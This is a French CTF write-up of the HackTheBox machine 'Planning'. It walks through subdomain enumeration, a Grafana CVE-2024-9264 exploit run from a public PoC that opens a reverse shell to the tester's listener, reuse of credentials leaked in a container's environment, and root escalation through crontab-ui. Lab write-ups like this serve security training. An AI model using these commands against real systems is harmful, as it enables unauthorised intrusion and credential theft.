Tous les articles

HackTheBox — Planning

Déroulé complet d'un test d'intrusion sur la machine Planning de HackTheBox : de la reconnaissance jusqu'à l'élévation de privilèges, en passant par une RCE sur Grafana.

Writeup HackTheBox Planning
Environnement d'entraînement. HackTheBox est une plateforme légale d'entraînement. Les techniques présentées ne doivent être employées que sur des cibles autorisées.

🔍 Reconnaissance

On démarre par un scan Nmap agressif (acceptable ici, c'est un lab) :

nmap -A 10.10.11.68

Deux ports ouverts : 22 (SSH, OpenSSH 9.6p1) et 80 (nginx 1.24.0). Le site est servi via un virtual host ; on ajoute l'entrée au fichier hosts :

echo "10.10.11.68  planning.htb" | sudo tee -a /etc/hosts

Le site est une plateforme de cours en ligne. Une énumération de répertoires avec gobuster ne révèle rien de caché :

gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirb/common.txt -x php

On bascule sur l'énumération de sous-domaines, qui sort un vhost intéressant :

gobuster vhost -t 100 -u planning.htb -w dnslist.txt --append-domain
# Found: grafana.planning.htb  Status: 302 [--> /login]

💉 Exploitation — Grafana

Le vhost héberge Grafana 11.0.0, vulnérable à la CVE-2024-9264 (RCE via les expressions SQL). Avec un PoC public et les identifiants fournis, on ouvre un listener puis on déclenche le reverse shell :

nc -lvp 8888
python poc.py --url http://grafana.planning.htb \
  --username admin --password <fourni> \
  --reverse-ip 10.10.14.42 --reverse-port 8888
⚠️ Toujours lire et comprendre un exploit récupéré sur Internet avant de l'exécuter.

Le shell revient en root… mais dans un conteneur Grafana. La commande env fuit un couple identifiant / mot de passe :

GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=<mot_de_passe>

Le port 22 étant ouvert sur l'hôte, on tente ce couple en SSH — et ça passe. Premier flag dans ~/user.txt.

🔑 Élévation de privilèges

On est désormais sur l'hôte qui sert le site. Un fichier de crontab éditable côté interface révèle un mot de passe :

cat /opt/crontabs/crontab.db
# ... "command": ... zip -P <mot_de_passe> ...

netstat -l montre des services en écoute uniquement en local, dont un sur le port 8000. On monte un tunnel SSH pour y accéder :

ssh -L 8000:localhost:8000 enzo@10.10.11.68

Derrière : crontab-ui, une interface web de gestion de tâches cron. Les identifiants trouvés plus tôt donnent accès à l'admin. Comme ces crons tournent en root, créer une nouvelle tâche permet d'exécuter une commande privilégiée et de lire le flag root.

Ce qu'on retient

  • Les sous-domaines cachent souvent la vraie surface d'attaque — ne pas s'arrêter à l'énumération de répertoires.
  • Un conteneur « root » n'est pas l'hôte : les variables d'environnement fuitent régulièrement des secrets réutilisables ailleurs.
  • Les tâches cron exécutées en root et les interfaces d'administration en localhost sont un classique de l'élévation de privilèges.

Note : les secrets réels de la box sont volontairement masqués ici.